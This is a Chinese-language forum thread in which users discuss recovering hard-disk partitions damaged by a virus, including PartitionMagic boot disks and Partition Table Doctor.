这个东西确实厉害,传说用无忧启动盘里的PQ可以恢复,海口这破地方没有买的,现在真的是没办法,电脑里的东东太多,各位还有什么办法。PQ全称是什么,或许可以从这上面想些办法?
PQ=PowerQuest 一个公司

该公司开发的PartitionMagic(分区魔法师)软件是DOS年代就很流行的硬盘分区管理工具。

回答完毕

TOP

引用:
这里是引用第[16 楼]cc5202006-10-08 07:38发表的:
[s:70] 很多番茄花园带都那几个工具!
去买张番茄花园就可以了!
已经试过N张都提示找不到正确的驱动,这种方法是没有用的.
感上楼上的朋友热心的回复,在用无忧的时候也提示无法找到正确的驱动,传说是可行的,有点不明白.
难道真没有其它方法了吗?
We are not the only ones,but we will try to be the best!

TOP

我中了后郁闷了一天多,,最后用partition table doctor 恢复的,文件总算没丢失!

TOP

这个病毒太厉害了

TOP

发新话题